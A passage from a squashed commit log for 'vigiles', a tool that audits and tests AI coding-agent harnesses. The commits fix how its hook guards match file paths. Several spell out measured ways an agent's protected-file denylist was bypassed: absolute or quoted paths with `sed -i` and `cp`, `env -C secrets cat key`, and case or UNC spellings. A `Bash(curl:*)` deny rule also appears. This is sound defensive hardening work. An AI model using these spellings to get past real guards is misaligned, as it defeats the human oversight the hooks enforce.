module has been narrowing for five rounds.
Measured 2026-08-12 against bash 5.2.21, with a hook whose only job is to leave
a marker file:
$ bash -ce 'exit 0' hooks/pre.sh → exit=0, NO MARKER — never executed
$ bash -e hooks/pre.sh → exit=0, marker present (control)
$ bash -ce 'echo "0=$0 1=$1"' A B → 0=A 1=B
and `commandRefs("bash -ce 'exit 0' hooks/pre.sh")` returned `["hooks/pre.sh"]`.
The whole-word spelling `-c` was already right via `withoutScript`; the cluster
contradicted its own table.
`c` therefore joins `n` and `D` in the no-script verdict — any cluster
CONTAINING it attributes nothing, since bash accepts the letter anywhere in the
bundle and it means the same thing every time (`-ce`, `-ec`, `-xc` verified).
Clusters that take a value without `c` (`-eo pipefail`, `-eO extglob`) still
attribute, so this narrows the model rather than refusing every bundle.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a path is ours only if it is ANCHORED at our root, not if it ends like one
The `command` ladder's middle rung accepted any ref whose tail matched a surface
path, so an absolute path in somebody else's tree credited a local file.
Measured 2026-08-12 against the single surface `hooks/pre.sh`:
/workspace/vigiles/hooks/pre.sh => ["hooks/pre.sh"] (ours)
/tmp/fixture/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/home/other/repo/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/nix/store/abc123-plugin/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
Keeping the full qualified path did not close it. The bottom rung's repair was
about a ref carrying NO directories; any external path ending in the complete
repo-relative tail still miscredits. It is the same defect one rung up — a
SUFFIX taken for an identity.
A path is ours only if it is anchored at our root, so the rung now demands an
anchor and the caller supplies one. Two anchors exist and no third is invented:
the repository root itself (an absolute ref must lie beneath it, and the
remainder is then compared EXACTLY), and an unexpanded PROJECT-root variable,
which is how a settings-file hook reaches this tier. Plugin-root tokens are
deliberately excluded: the whole-harness tier co-installs competitors, so
`${CLAUDE_PLUGIN_ROOT}` names whichever plugin ran, not necessarily this one.
Everything else resolves to nothing — an absolute ref outside the root, an
absolute ref with NO root supplied, and a relative ref carrying extra leading
directories (`../other/…`, `vendor/plugin/…`), which was the same hole spelled
without a leading slash. Absent a root the rung abstains wholesale rather than
falling back to the tail match.
`selfNamespaces` and `root` move into one `ResolveOptions` argument so the two
cannot be passed in each other's place; the compiler located all four call
sites.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: prettier-clean the tree — `prettier --check` is a gate `lint` does not cover
Round 26 shipped `src/test-coverage.test.ts` unformatted and CI's `test` job
failed at its last step (`prettier --check .`), after every test had passed.
`npm run lint` is `eslint src/` and says nothing about formatting, so the only
thing that catches this is running the check itself, last.
The reflow is whitespace only: one `write(...)` call wrapped across four lines.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-runtime): give PathView a project root, so file hooks stop being dead for the only spelling the harness sends
`pathView(raw).under(prefixes)` compared a repo-relative prefix against a raw
`file_path`. Claude Code's Edit/Write/MultiEdit always send an ABSOLUTE
`file_path`, so `under(["migratsiya/papers/"])` returned false for every real
event — every file gate and react hook written against relative prefixes was
dead in live sessions and green in tests.
MEASURED on the live runtime, one compiled react hook, two spellings:
/home/user/mine/migratsiya/papers/x/main.tex → SILENT
migratsiya/papers/x/main.tex → FIRES
Three shipped hooks in a consumer repo were dead by it — all three compiled on
2026-08-03 specifically to replace hooks that were dead, all three silent again.
What changed:
- `pathView(raw, root?)` matches each prefix in ITS OWN spelling: a relative
prefix against the path made repo-relative, an absolute prefix against the
path made absolute. New `PathView.rel` exposes the repo-relative form.
- `projectRootOf(event, env)` resolves the root from `$CLAUDE_PROJECT_DIR`, then
the payload's `cwd` — never `process.cwd()`, which under a git worktree is a
different checkout. The CLI passes it; the core decode doors fall back to the
event's own `cwd` so they stay pure.
- A miss costs SILENCE: a path outside the root (a sibling checkout, /etc) and
an absolute path with no root both match no relative prefix. `under` is the
allowlist/coverage primitive, so a confinement gate fails closed and a nudge
stays quiet. A relative root is treated as no root — it would have reported
/etc/passwd as the repo-relative etc/passwd.
- `undecidablePathWarning` makes the one undecidable case loud on stderr instead
of deciding on nothing; deliberately silent for a relative path so it cannot
be mistaken for a react hook's notice.
- `fileToolEvents(path)` (vigiles/unit, vigiles/testing) builds BOTH spellings of
a file-tool event. Hand-built relative events are what hid this.
API changes are additive: two optional parameters, one new field, one new field
on RawHookEvent, one new exported helper. No signature breaks.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-runtime,mock,trifecta): close the absolute-spelling bypass in touches(); stop the CLI's side channel eating the model script; split the trifecta remedy by cause
Three fixes, each measured on a real target before and after.
1. `CommandView.touches()` was bypassable by spelling a path ABSOLUTELY.
`pathView.under` was just given a project root; `touches`/`writesTo` had the
same root-blindness, but they are DENYLIST primitives, so a miss is an ALLOW.
`tokenUnder` suffix-matched with `endsWith("/" + prefix)`, true only when a
path ENDS AT the prefix — never for a file under it.
MEASURED against a real shipped guard (paper-edit-guard.hook.ts in a consumer
repo, CLAUDE_PROJECT_DIR set; exit 2 = blocked, 0 = allowed):
relative absolute
echo x > .../paper.tex 2 2
sed -i s/a/b/ .../paper.tex 2 0 ALLOWED
cp /tmp/a .../paper.tex 2 0 ALLOWED
Redirects survived only because that guard decodes its own redirect targets
with a hand-written `includes("/" + p + "/")` — the missing bias, hand-rolled
by an author who happened to think of it. dna-privacy-guard is the other hand
patch: it declares `needs: ["git.root"]` purely to build `${root}/${DNA}`.
Every gate whose author did not think of that was exposed.
Fixed in the runtime: `decideProgram` threads a root the way `decideFileGate`
does ($CLAUDE_PROJECT_DIR, then the payload cwd; never process.cwd()), and
both primitives now go through ONE rule with THREE answers — `prefixVerdict`
returns under/outside/undecidable, and `matchesPrefix(verdict, onUndecidable)`
takes the bias with NO DEFAULT, so `under` names "miss" and `touches`/
`writesTo` name "match". The previous shape — one boolean helper shared by an
allowlist and two denylists — is exactly what let one bias serve three callers
that do not agree on it. `under` is behaviourally identical (it accepts the
"under" verdict only); all six rows above now block, and so do they with no
root at all.
2. The scripted mock was serving script entries to the CLI's SIDE-CHANNEL calls.
MEASURED, Claude Code 2.1.228, a THREE-entry script: 27 requests — 9 main-loop
and 18 sidecar (2/turn; the second a retry, "Previous response was not valid
JSON"). Entry #2 went to a post_turn_summary notification classifier and the
agent never saw it. `harness-test > a blocking Stop hook forces the agent to
keep working` failed as a direct result. After: 5 requests, 3 main + 2 side,
turns 27 → 3, test passes.
The discriminator is structural, not textual: a main-loop request carries
`tools` (40 defs, stream, max_tokens 32000), a side-channel one carries none
(max_tokens 1024). Only a request declaring tools can act on a scripted
tool_use. Every request is still RECORDED and now TAGGED (`sideChannel`), and
`count` is the agent's turn count with `sideChannelCount` beside it, so a
future side channel shows up as a number, not a shifted script.
WHY CI IS GREEN, measured rather than assumed: not the pinned version. CI's
own 2.1.187 makes the same call in this environment. It is env-gated — the
sidecar appears only with BOTH CLAUDE_CODE_REMOTE=true and
CLAUDE_CODE_ENTRYPOINT=remote_mobile (neither alone reproduces; a bisect that
blamed one variable was wrong and was re-checked in both directions). GitHub
Actions sets neither.
BILLING, since it decides whether published numbers are honest: the sidecar
goes out on the SAME OAuth bearer token and the same metadata.user_id as the
main loop, so it is billed to the user. It is NOT counted. Decomposed with
distinct per-class token numbers: main 1000/100, sidecar 7/3 → the CLI's
result event reported input 1000, output 100, total_cost_usd 0.0045 (= main
loop exactly). `emitCostSummary` reads that event, so eval cost figures
UNDERSTATE spend. On the 27-request run the sidecar was ~18% of payload
characters.
3. The lethal-trifecta finding fires on 100% of units (18/38 → 38/38, Safety
86 → 70 after the allow-list inversion). Classification is right and is
untouched — verified: the same corpus still reads 38 of 38, Safety 70, D
(62/100). What changed is the REMEDY, which was one sentence for three
situations and pointed at narrowing `Bash(...)`, a door EFFECT_FREE has closed
for anything an author actually runs:
- unrestricted shell grant → the shell alone supplies two legs, remove it;
- `Bash(node ./x.mjs:*)` → you already narrowed and it did not count, here
is why, narrowing further will not move this (the worst case: that author
took the old advice);
- no shell leg — including a BOUNDED `Bash(echo …:*)` → nothing to narrow.
Same split on the skill side: a RESTRICTED deny (`disallowed-tools:
Bash(curl:*)`) is DISCARDED, not weighed, and now says so.
API changes are additive: two optional params, two optional fields, two new
exported helpers. No signature breaks.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* perf(ci): shard the test job 3 ways and gate coverage on the MERGED union
The `test` job was CI's sole long pole — 8.5 min wall (554 s measured on run
31631013102) while `check`/`site`/`e2e`/`harness` all finished inside 2 min on
their own runners and then idled. Measured breakdown of those 554 s:
100 s setup (python/ruby/java/go linters, claude+codex+bubblewrap, ci, build)
208 s `npm run coverage` — the suite under v8 instrumentation + the 100% gate
182 s `npx vitest run && npx jest` — a SECOND full pass over the same suite
63 s 3× typecheck · lint · prettier, none of which need any of that setup
So a third of the job was a duplicate: `npx vitest run` re-ran all four vitest
projects the coverage run had just executed (the `runners` project is one of
them). That half is deleted, not relocated; `npx jest` (1.4 s, a genuinely
different runner) moves to `check` along with the 63 s tail.
The remaining suite is split across 3 runners with `vitest --shard=i/3`.
The part that could silently go wrong is the 100% coverage gate. A shard only
loads the files its own slice of tests imports, so per-shard coverage is partial
by construction — a gate left inside the shard would have to be relaxed to pass,
and a relaxed gate that still prints green is exactly the failure class this repo
exists to catch. Shards therefore emit blob reports with thresholds off, and a
new `coverage` job merges them (`vitest --merge-reports --coverage`) and applies
the thresholds once, over the union.
Verified locally on this checkout rather than assumed:
· FAITHFUL — merged 3 shards vs the unsharded run: same 19 files, 3509 coverage
hit-bits compared element-by-element (statements, per-path branches,
functions), 0 mismatches; identical summary 99.94% / 94.2% / 100% / 100%.
· STILL BITES — with `src/share-link.test.ts` removed, the merged report shows
share-link.ts at 0% and fails with three threshold errors, while all three
shards themselves exit 0. The untested file survives the split because each
shard records the whole include-list, zero-filling what it never loaded.
· FAILS CLOSED — merging a single blob reports 66.5% against the same
1775-statement denominator and errors, so a lost or empty artifact reddens
the gate instead of shrinking it. The blob-count assertion is a nicer error
message on top of that, not the safety property.
`--coverage.reporter=none` on the shards is deliberate: a shard's own table reads
like a coverage figure while being an artifact of the split.
Expected wall: slowest shard ≈ 100 s setup + ~140 s tests, plus a ~40 s merge
job — about 4 min for the lane against 9.2 min today. Runner cost ~3×2.5 min
plus the merge, in place of one 9.2 min runner.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs(npm): lead the package description with `audit`, the zero-config front door
Every other surface now names all three instruments: the site's title and OG card
say "audit, test and measure your agent harness", and the README leads with the
graded report. npm did not — the description said "Lint & test … verify the
references … and test that your hooks and skills actually work", which names
lint/verify/test and never once says `audit`, the command a first-time reader is
actually told to run. npmjs.com and `npm search` are the first thing many people
see, so that was the one door that described the tool by its two narrower verbs.
Now: "Audit, test and measure the harness your AI agent runs on — grade your
CLAUDE.md / AGENTS.md, skills, subagents and hooks, run them against a scripted
model, and measure whether they actually fire."
Still a description of what the tool does, not a slogan: no CTA, no claim, the
`harness` noun stays glossed by its own clause, and the instruction filename is
kept instruction-neutral (CLAUDE.md OR AGENTS.md), per the README direction.
Only the `description` string changed — `package.json` is the file whose merge
conflicts stop Node resolving `vigiles/hook` and thereby disarm every compiled
hook, so nothing else in it was touched or reformatted. Verified it still parses
(`node -e "require('./package.json')"`) and that prettier is happy. The plugin
manifests keep their own description: the drift gate in
src/agent-plugins-manifest.test.ts ties plugin.json to .claude-plugin/plugin.json,
not to this field.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* perf(ci): stop running the whole vitest suite twice; move the toolchain-free tail to `check`
Reverts the sharding from 31121ca and keeps the part of it that was actually
paying. The `test` job stays ONE job under its original name, so the required
status check is still `test` — sharding renamed it to `test (shard 1/3)` plus a
new `coverage` job, which can silently block every future PR on a
branch-protection rule nobody can see from here. Not a risk worth 15 seconds.
Measured on run 31631013102 (ubuntu-latest), `test` was CI's sole long pole at
554 s while check/site/e2e/harness each finished inside 2 min on their own
runners and idled:
100 s setup (python/ruby/java/go linters, claude+codex+bubblewrap, ci, build)
208 s `npm run coverage`
182 s `npx vitest run && npx jest`
63 s 3× typecheck · lint · prettier
The 182 s step was a SECOND full pass over the suite the coverage step had just
run: `vitest run` runs all four vitest projects, `runners` — the cross-runner
matcher constraint the step was named for — among them. So the vitest half is
deleted, not relocated. Jest is a genuinely different runner and survives, at
1.4 s, in `check`. The 63 s tail needs none of the language toolchains it was
queued behind, and also moves to `check` (which finishes in ~90 s and idles),
with its relative order preserved so `generate types` still writes
.vigiles/generated.d.ts before lint and prettier see the tree.
Expect ~4.9 min for `test` instead of 9.2, on the same single runner, with no
change in what is checked.
The sharding work is kept as a comment block beside the coverage step rather
than thrown away: why it was dropped (vitest shards by path hash, not duration —
123/76/45 s locally, so the long pole barely moves once the unshardable ~100 s
setup and a ~40 s merge job are added), the exact design that would keep the
100% gate honest across shards, and the three local proofs that the merged gate
still bites — 3509 hit-bits compared with 0 mismatches, a deleted test reddening
the merged report while every shard exits 0, and a single-blob merge failing
closed at 66.53%. Whoever revisits this starts from measurements.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(mock,run-hook): make `turns` mean the agent's turns on BOTH paths, and keep a filesystem root a root
Round 28 of external review, both findings real.
1. `Trace.turns` meant two different things depending on execution path. The
direct path counts the mock handle's main-loop turns; the sandbox path
counted every line of the request log, so each side-channel call the CLI
makes inflated it — measured 27 requests for 9 agent turns. The sandbox path
now recovers the same split from the `sideChannel` tags, which survive
serialization into the ndjson log. The unconsumed-script warning comes with
it: that path could not emit it at all before.
2. `fileToolEvents` stripped every trailing separator, turning the POSIX root
`/` into `""` and the drive root `C:\\` into `C:`. The runtime accepts
neither, so the helper's absolute event stopped resolving — silently: the
hook still ran, the prefix just never matched, and a negative assertion
passed while pinning nothing. That is the dead-hook-behind-a-green-test shape
this helper exists to prevent, reintroduced by the helper. Fixed in the root
rule, not at the call site, and the empty-string door next to it is closed
too.
* fix(hook-program): keep a filesystem root a root in the PREFIX too — one rule, not two copies
Round 29, and it is round 28's finding one layer up. Round 28 taught the
project ROOT to keep the separator that IS the path (`/`, `C:/`); the PREFIX
normaliser kept stripping it, so an allowlist prefix of `C:/` became `C:`,
which `isAbsoluteRef` reads as RELATIVE. Every path then fell outside it: a
confinement gate denies everything, a react hook never fires, and both look
like decisions rather than a broken matcher.
The fix is the deduplication, not the carve-out — `trimTrailingSeparators`
now lives in core and `run-hook.ts` imports it, so the rule cannot be fixed
in one place and left broken in the other. Proven by mutation: deleting the
carve-out fails the new prefix test AND round 28's root test, from one edit.
Second, smaller trap closed in the same pass: a base that already ends in a
separator made `isAtOrUnder` look for `C://`, trading one silent never-match
for another. Its own mutation fails two tests.
* fix(hook-program,run-hook): a catch-all is a sentinel, not a root — and an input fixture must not eat the generated path
Round 30. The first finding is a regression from round 29, which is the
useful part: the carve-out that keeps `C:/` absolute also turned the EMPTY
base — what `**`, `*` and `/` all reduce to — into `"/"`. `prefixVerdict`
answers an empty base `"under"` outright, no root needed; a `"/"` base
demands an absolute spelling. So `under(["**"])` went false for every
relative path with no root: a catch-all that denies everything. The
drive-root test written in the very same commit did not catch it, because
that test supplied a root. Both cases are now pinned WITHOUT one.
Second: `fileToolEvents` spread `opts.input` after the generated
`file_path`, so a caller reusing a real `tool_input` fixture — the most
natural way to use the helper — silently got the same spelling twice. Two
events, one path, and the pair that is this helper's only reason to exist
quietly gone. Spread order inverted; the extras still land.
Both pinned by mutation, patch application asserted, run across the whole
relevant set.
* fix(hook-program,run-hook): fold case only where the filesystem does, and stop extras replacing the chosen root
Round 31.
1. Windows filesystems are case-insensitive, so `C:/Repo` and `c:/repo/src/x.ts`
name one place — compared exactly, the second read as OUTSIDE the first and a
file gate silently denied a same-repo edit. Folding is now applied when the
root is drive-rooted, and ONLY then: POSIX is case-sensitive, `/repo` and
`/REPO` are two different directories, and folding there would accept a path
from a different tree. That trades a silent miss for a silent FALSE GRANT,
which is the direction this whole PR exists to remove.
2. `opts.extra` spread after `cwd`, so extras copied from a real hook event
replaced the root the helper had just selected: the absolute entry was BUILT
from `opts.root` and EVALUATED against someone else's cwd. Same class as the
`file_path` fix in the previous commit, two lines up in the same object —
fixing one instance of a class and leaving its neighbour is what earned this
round.
⚠️ Method note, because it nearly cost the first fix: my first POSIX test PASSED
under the mutation that folds everywhere — the remainder keeps its own casing,
so prefix comparison stayed case-sensitive either way and the test proved
nothing. The property that actually distinguishes them is whether a path is
judged INSIDE THE ROOT, and that is what the test asserts now. A green mutation
is a finding about the test.
* fix(hook-program): put the fold in the comparator, and stop a QUOTED path walking through every denylist
Round 32 plus a bypass found while writing its test.
The reported finding: round 31's case fold reached the repo-relative branch and
not the absolute one, and `mightBeUnder` still compared exactly — for a
denylist caller like `writesTo` that miss ALLOWS a write to a protected path.
Fixed by moving the rule INTO the comparator (`foldForCompare`), used by
`isAtOrUnder`, `mightBeUnder` and `relativeToRoot` alike. Three rounds in a row
were earned by fixing one branch of a comparison and leaving its sibling; a rule
applied at call sites diverges, a rule inside the comparator cannot.
Found while writing that test, and worse: **`touches` missed any QUOTED path.**
`leafCommands` keeps a word exactly as written, so the token arrived as
`"papers/x.tex"` — quote characters included — and matched no prefix.
MEASURED end-to-end on a shipped guard: `sed -i s/a/b/ migratsiya/papers/x/paper.tex`
exited 2 (blocked), the same command with the path quoted exited 0. Quoting a
path is not an evasion technique, it is what anyone writes for a path with a
space, so every denylist built on `touches` was one quote from open.
`writesTo` was already correct because it reads the normalized argv; `touches`
read the raw one. Both read the same argv now.
Both pinned by mutation across the whole set, patch application asserted.
* fix(hook-program): read BOTH argvs in touches — one alone trades a bypass for a bypass
P1, and it is my own regression from the previous commit.
Switching `touches` from the raw argv to the normalized one fixed quoted paths
and broke wrapper-consumed ones: `stripWrappers` CONSUMES the option and its
value, so `env -C secrets cat key` — which really does read `secrets/key` —
lost `secrets` entirely and a denylist on it failed open. Reading either argv
alone trades one bypass for the other:
raw only → `cp /tmp/a "papers/x.tex"` missed (quotes kept)
normalized only → `env -C secrets cat key` missed (wrapper consumed)
union → both seen
`--chdir=secrets` needed one more step: it is a single token, so the path is
invisible to a whole-token comparison. The tail after `=` is added as an extra
candidate rather than replacing the token, and `grep --color=always` still
matches nothing.
A denylist that over-matches costs the author an argument; one that misses costs
the write. Three mutations, each caught by its own test: normalized-only fails
the wrapper cases, raw-only fails the quoted ones, dropping the `=` split fails
`--chdir`.
Separately verified and needing no change: the absolute-prefix fold reported in
the same review round is already fixed — `pathView("c:/repo/secrets/x","C:/repo")
.under(["C:/Repo/Secrets"])` returns true on this tree.
* fix(hook-program): case-insensitivity belongs to the FILESYSTEM, so the ROOT decides it
Second P1, same family, one level deeper. The fold was keyed on the operand —
"does this string look drive-rooted?" — which is true of a root (`C:/repo`) and
of an absolute prefix (`C:/repo/secrets`) and FALSE of a repo-relative one
(`secrets`). So under a Windows root, `C:/REPO/SECRETS/x` resolved to the
remainder `SECRETS/x`, was compared against `secrets` case-sensitively, and
`writesTo(["secrets"])` returned false: a denylist allowing the protected write.
The drive letter was known the whole time; it just never reached the comparison
that needed it.
Now `caseInsensitiveFs(root)` decides once and is threaded through
`prefixVerdict` into `isAtOrUnder` and `mightBeUnder`; `relativeToRoot` asks the
same question of the root it was handed. An absolute drive-rooted BASE still
folds on its own, because it names a Windows filesystem even when the caller
could not say so. With no root known, nothing folds — an unprovable answer must
not become a match through a guess about someone else's filesystem.
POSIX stays case-sensitive, and that half is pinned too: mutating the predicate
to always-true fails three tests, to always-false fails the two Windows ones.
* fix(hook-program): a UNC share is a Windows root too — and the list now says how it was decided
Third P1 on the same axis, one level deeper again. `caseInsensitiveFs`
recognised only drive letters, so under a UNC project root
(`//Server/Share/Repo`) the path `//server/share/repo/SECRETS/x` compared
exactly against `secrets` and `writesTo` returned false — a denylist allowing
the protected write.
Three rounds in a row were spent widening this predicate one case at a time, so
this commit answers the question the previous ones did not: **Windows absolute
paths have exactly two root forms** — a drive (`C:`) and a UNC share
(`//server/share`) — plus the extended-length `//?/` prefix, which is a
SPELLING of those two rather than a third form. That is why the regex enumerates
what it does, and the reasoning is in the code so the next widening has to argue
with it.
⚠️ Two honest limits, asserted rather than implied:
- The miss direction is wrong-way — an unrecognised root means no folding, so a
denylist can miss on casing. It is accepted only because the alternative,
folding whenever unsure, is a false GRANT on Linux where `/repo/Secrets` and
`/repo/secrets` are different files.
- `relativeToRoot` still cannot RESOLVE a UNC path, so the allowlist side
(`under`) answers false instead of resolving the remainder. For an allowlist
that is silence, the safe direction, and there is now a test named
KNOWN LIMIT holding it visible instead of letting it read as support.
* fix(hook-program): keep the UNC leader — two functions were normalising one string differently
`resolveRef` collapsed a leading `//` to `/` while `normalizePrefix` kept the
pair, so a UNC path and a UNC prefix could never compare equal: an allowlist
gate denied every valid edit on a Windows network share and a react hook stayed
silent. That closes the KNOWN LIMIT the previous commit documented — the limit
turned out to be one inconsistency, not a missing feature.
Two functions normalising the SAME string differently is the defect class this
PR keeps finding at every level; here both ends were inside one call.
POSIX resolution is unchanged and now asserted alongside, so preserving the pair
cannot quietly become a second leader on Linux.
* fix(hook-program): the ROOT decides whether a doubled slash is a share — same lesson, one commit later
Round 37, and it is my round-36 regression. Preserving the UNC leader
unconditionally judged the STRING: `//repo/src/x.ts` looks like a share, but on
Linux it is `/repo/src/x.ts` with a stutter, so it stopped resolving against a
POSIX root and an allowlist gate denied a valid edit.
This is the second P1's lesson repeated at a different level: path SEMANTICS
belong to the filesystem, and only the root knows which filesystem that is. The
leader is now kept only when the root establishes Windows/UNC.
⚠️ The residual ambiguity is named rather than papered over: with NO root,
`//a/b/c` is genuinely undecidable — a share on Windows, a stutter on Linux —
and no string-reading settles it. The tie breaks toward POSIX, because that is
the platform this runs on and because a real hook payload always carries `cwd`.
Both readings fail toward SILENCE for an allowlist, so guessing wrong costs a
quiet miss and never a grant.
Both directions pinned: keeping the pair unconditionally fails the POSIX test,
never keeping it fails the UNC one.
* fix(hook-program): pick the first USABLE root, not the first non-empty string
A relative `$CLAUDE_PROJECT_DIR` — `.` being the obvious one — is not a root:
`usableRoot` rejects it downstream, on purpose, so that a relative value cannot
turn `/etc/passwd` into the repo-relative `etc/passwd`. But `projectRootOf`
returned it anyway, which MASKED a perfectly good absolute `cwd` from the
payload. Absolute paths then stopped matching repo-relative prefixes, and worse,
`undecidablePathWarning` saw a defined root and stayed quiet — removing the one
signal that would have said why.
Platform-neutral: this bites on Linux exactly as hard as on Windows.
A source that cannot serve as a root must not consume the slot. Pinned by a
mutation that restores first-non-empty and fails both new tests.
* fix(run-hook): skip a relative root here too — the same fix, in the second of two places
Round 39, and the sibling of round 38. `fileToolEvents` picked the first
NON-EMPTY root, so `{ root: "." }` masked the absolute `process.cwd()`
fallback: the "absolute" entry came out as `./src/x.ts` and `cwd` as `.`, which
the runtime rejects as unusable. The helper then handed back TWO relative
spellings — leaving untested exactly the absolute behaviour it was written to
exercise, which is the hole it exists to close.
The fix is one line and identical to the one made an hour earlier in
`projectRootOf`. That it had to be made twice is the finding: fixing one
instance of a class and not looking at its neighbour has now cost this PR
several rounds, and the neighbour here was two files away with the same shape.
Second test added on the property rather than the mechanism: the two spellings
must never be the same string, for every root form. That one fails for ANY future
change that collapses the pair, not just this one.
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(test-coverage): deliver untested-skill as an edit-time nudge
The `untested-skill` rule was already stated correctly, but it only ran
inside `vigiles lint` — which someone has to remember to type. A rule that
fires only when invoked by hand is prose, not policy.
`skillTestNudge` reuses the SAME detector (`findUntestedSurfaces`) at the
moment a skill/agent surface is edited, and is wired into the existing
PostToolUse entry rather than adding a fourth hook or a new CLI verb.
Two things it deliberately does:
- It distinguishes "no test at all" from "has a harness but was never
EVALUATED". An edit to a SKILL.md is usually an edit to the description,
i.e. to the trigger surface, and a deterministic harness structurally
cannot tell you whether a description still fires.
- It hands off to the `test-harness` skill instead of saying "write a test".
An agent already knows it needs a test; what it does not know is with
what. A nudge that restates the obligation and withholds the vocabulary
is the failure this replaces.
This also corrects a backwards gate: the existing lock nudge is self-gating
on a committed lock, so a repo that already tests got reminded while a repo
that had never written a test heard nothing at all.
* fix(test-harness): name the observation vocabulary, and fix a broken example
Measured on the four questions that actually missed in live work (recorded in
examples/harness/dogfood/test-harness.gaps.trigger.eval.mjs), the skill fired
25% of the time — against 90% on the prompts it was authored with.
Two matched prompt sets, Russian and English, scored identically (25/25),
prompt for prompt, which rules out a language effect: the gap was conceptual.
The description enumerated SURFACES ("a hook fires or blocks", "a skill
triggers", "injected context lands") and never named the OBSERVATION
vocabulary — which tools a run called, whether it stayed inside its declared
allowed-tools, what it wrote, how to intercept a call without executing it.
Half the real questions are asked that way, and they landed on nothing.
- description: add the observation half (460 chars, within the 500 budget).
- new "Step 0.4 — Observing a run": maps each of those questions to the API
that already ships. Its absence is why an agent working in this repo
reinvented parseToolCalls, snapshotTree/diffTrees, interceptTools and the
effect-boundary tier in a single session.
- state the one real asymmetry rather than imply coverage: files have
assertWroteOnly, tools have only the black-list notTool.
- fix the deterministic-tier example, which imported `scriptModel` from
`vigiles/testing`. It is not exported there — deliberately, to keep that
entry point harness-agnostic — so the example returned undefined.
After: 100% on the field-miss set (RU and EN), recall held at 90% on the
authored set with false-positive 0% / precision 100%.
* feat(testing): onlyTools + skillContract — verify a skill against its own declaration
A SKILL.md declares its capability surface in `allowed-tools:` and nothing ever
checked that a run stayed inside it. That is this project's own thesis pointed
at its own file format: the declaration is prose until something mechanical
reads it.
The gap was a missing half of a symmetry the file surface already had:
| "not this one" | "nothing but these"
files | assertNoWrite | assertWroteOnly
tools | notTool | (nothing)
`notTool` can only forbid the calls a test author thought of, and the set of
undeclared tools is unbounded — so "it stayed inside its contract" was not
expressible.
- `onlyTools(allowed)` — the white-list check. Reports every distinct offender,
not just the first. FAILS on a trace that recorded no tool calls, mirroring
`assertWroteOnly` refusing a result that never recorded writes: an uncaptured
run is indistinguishable from a tool-free one, and passing it asserts nothing.
- `skillContract(dir)` — reads the frontmatter and hands back ready checks
(`activation`, `surface`). No new assertion machinery and no third entry
point: a contract is a bag of ordinary `Check<Trace>`s, so it composes into
both the deterministic and eval tiers unchanged.
Two states are findings rather than clean bills, and both fail instead of
passing vacuously:
- `undeclared` — no `allowed-tools:` line, so the skill inherits EVERY tool.
Reporting "no violations" would present the widest surface as the cleanest.
- `malformed` — frontmatter that isn't valid YAML. A strict loader reads no
contract, so the declared set is unknown rather than empty. Observed live
while writing this change: one unquoted `: ` inside a description silently
voided a skill's whole tool contract, and the audit correctly reclassified it
as inheriting everything.
The `Skill` activation call is exempt — it is the harness's own loading
mechanism, appears in every trace, and is never listed in `allowed-tools:`, so
counting it would fail every contract on every run.
Honest limit, stated in the skill rather than implied away: `onlyTools` compares
tool NAMES, so a narrow entry like `Bash(node x.mjs:*)` is satisfied by any
`Bash` call. Scope inside a tool stays unverified.
* docs(dogfood): record the measured numbers, and correct an overstated claim
The commit that added the observation vocabulary quoted "100% RU and EN". That
was measured on a 594-char variant which did not ship: it tripped the linter's
own 500-char description budget, so the text that shipped is the 460-char one,
which measures RU 75% / EN 100%.
The table now records all four variants, and states plainly what the data does
NOT support — at n=8 the 75/88/100 spread across the fixed variants is one to
two runs, so it does not establish that longer wins. The shipped text defers to
the budget rule rather than overriding a documented heuristic on evidence that
cannot distinguish the alternatives.
What the data does support is unchanged and large: naming the observation
vocabulary moved the field-miss set from 2/8 to 6-8/8, and the pre-fix RU and
EN sets scored identically, prompt for prompt, which rules out a language
effect and locates the gap in the concept.
* feat(coverage)!: one detector — colocation. Remove declaration and mention
BREAKING: `untested-*` coverage is now decided by placement alone. A
`vigiles:covers` declaration and a name-mention in a test's code no longer
confer coverage. Repos relying on either will see their untested counts rise.
There were three detectors and they were never three STRENGTHS of evidence —
they were three NAMING CONVENTIONS, all answering "does this surface's name
appear near a test?" and none answering "did anything run against it?".
Ranking them implied a precision that did not exist.
Measured on this repo before the change, `mention` supplied 9 of 10 covered
surfaces. Reading what credited what: three were real dedicated evals that
colocation could not see, and at least three were FALSE — `hooks/pre-edit.sh`
and `hooks/post-edit.sh` were credited by `test-coverage.test.ts`, i.e. the
coverage detector's own suite naming them as fixtures. The detector granted
coverage to hooks because it tested itself against them.
`declared` fared no better in practice. Its first real use in a consumer repo
declared a conformance LINT over 21 skills as coverage OF those 21 skills,
moving that repo 31 untested → 16 while nothing new was tested. It also needed
a guard assertion to stay honest: a mechanism watching the mechanism.
Colocation is kept because it cannot drift by construction — the test lives in
the surface's directory, so deleting the skill deletes its test, renaming moves
both, and `ls` answers the question without running anything.
Consequences, all deliberate:
- the detector no longer READS test files, only lists their paths, so coverage
can no longer be changed by editing text inside a test;
- comment-stripping, declaration parsing and evidence ranking are deleted;
- a good test living elsewhere now counts for nothing until it is moved next to
its surface. That is the intended pressure.
Honest remaining hole, now printed on every run rather than left to be
discovered: colocation says the file EXISTS, not that it RAN — an empty
`foo.eval.mjs` still counts. Closing that is a condition on this rule (a run
